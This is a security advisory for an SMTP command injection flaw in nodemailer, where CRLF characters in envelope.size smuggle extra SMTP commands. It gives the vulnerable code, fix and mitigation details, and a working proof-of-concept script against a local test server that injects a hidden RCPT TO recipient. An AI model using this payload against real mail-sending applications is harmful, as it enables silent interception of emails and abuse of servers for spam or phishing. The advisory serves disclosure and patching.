Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameterGHSA-c7w3-x93f-qmm8
Fix: nodemailer/nodemailer@2d7b971GHSA-c7w3-x93f-qmm8 is a CWE-93 vulnerability in nodemailer. A fix is available for nodemailer — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-c7w3-x93f-qmm8.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
nodemailernpmDescription
Summary
When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.
Details
In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:
if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
args.push('SIZE=' + this._envelope.size);
}
This contrasts with other envelope parameters in the same function that ARE properly sanitized:
- Addresses (
from,to): validated for[\r\n<>]at lines 1107-1127 - DSN parameters (
dsn.ret,dsn.envid,dsn.orcpt): encoded viaencodeXText()at lines 1167-1183
The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:
const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
if (!standardFields.includes(key)) {
this._envelope[key] = envelope[key];
}
});
Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.
Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.
PoC
ave the following as poc.js and run with node poc.js:
const net = require('net');
const nodemailer = require('nodemailer');
// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
socket.write('220 localhost ESMTP\r\n');
let buffer = '';
socket.on('data', chunk => {
buffer += chunk.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('C:', line);
if (line.startsWith('EHLO')) {
socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
} else if (line.startsWith('MAIL FROM')) {
socket.write('250 OK\r\n');
} else if (line.startsWith('RCPT TO')) {
socket.write('250 OK\r\n');
} else if (line === 'DATA') {
socket.write('354 Start\r\n');
} else if (line === '.') {
socket.write('250 OK\r\n');
} else if (line.startsWith('QUIT')) {
socket.write('221 Bye\r\n');
socket.end();
}
}
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log('SMTP server on port', port);
console.log('Sending email with injected RCPT TO...\n');
const transporter = nodemailer.createTransport({
host: '127.0.0.1',
port,
secure: false,
tls: { rejectUnauthorized: false },
});
transporter.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'Normal email',
text: 'This is a normal email.',
envelope: {
from: '[email protected]',
to: ['[email protected]'],
size: '100\r\nRCPT TO:<[email protected]>',
},
}, (err) => {
if (err) console.error('Error:', err.message);
console.log('\nExpected output above:');
console.log(' C: MAIL FROM:<[email protected]> SIZE=100');
console.log(' C: RCPT TO:<[email protected]> <-- INJECTED');
console.log(' C: RCPT TO:<[email protected]>');
server.close();
transporter.close();
});
});
Expected output:
SMTP server on port 12345
Sending email with injected RCPT TO...
C: EHLO [127.0.0.1]
C: MAIL FROM:<[email protected]> SIZE=100
C: RCPT TO:<[email protected]>
C: RCPT TO:<[email protected]>
C: DATA
...
C: .
C: QUIT
The RCPT TO:<[email protected]> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.
Impact
This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:
- Silently add hidden recipients to outgoing emails via injected
RCPT TOcommands, receiving copies of all emails sent through the affected transport - Inject arbitrary SMTP commands (e.g.,
RSET, additionalMAIL FROMto send entirely separate emails through the server) - Leverage the sending organization's SMTP server reputation for spam or phishing delivery
The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.
Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | nodemailer | all versions | 8.0.4npm install nodemailer@8.0.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nodemailer, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nodemailer to 8.0.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c7w3-x93f-qmm8 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated Moderate because triggering the injection requires non-default application behavior where untrusted input is passed to a custom envelope configuration. In typical deployments of Red Hat products that embed this component, mail transactions rely on default automatic envelope generation…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-c7w3-x93f-qmm8 (CC BY 4.0)
Frequently Asked Questions
Is GHSA-c7w3-x93f-qmm8 in your dependencies?
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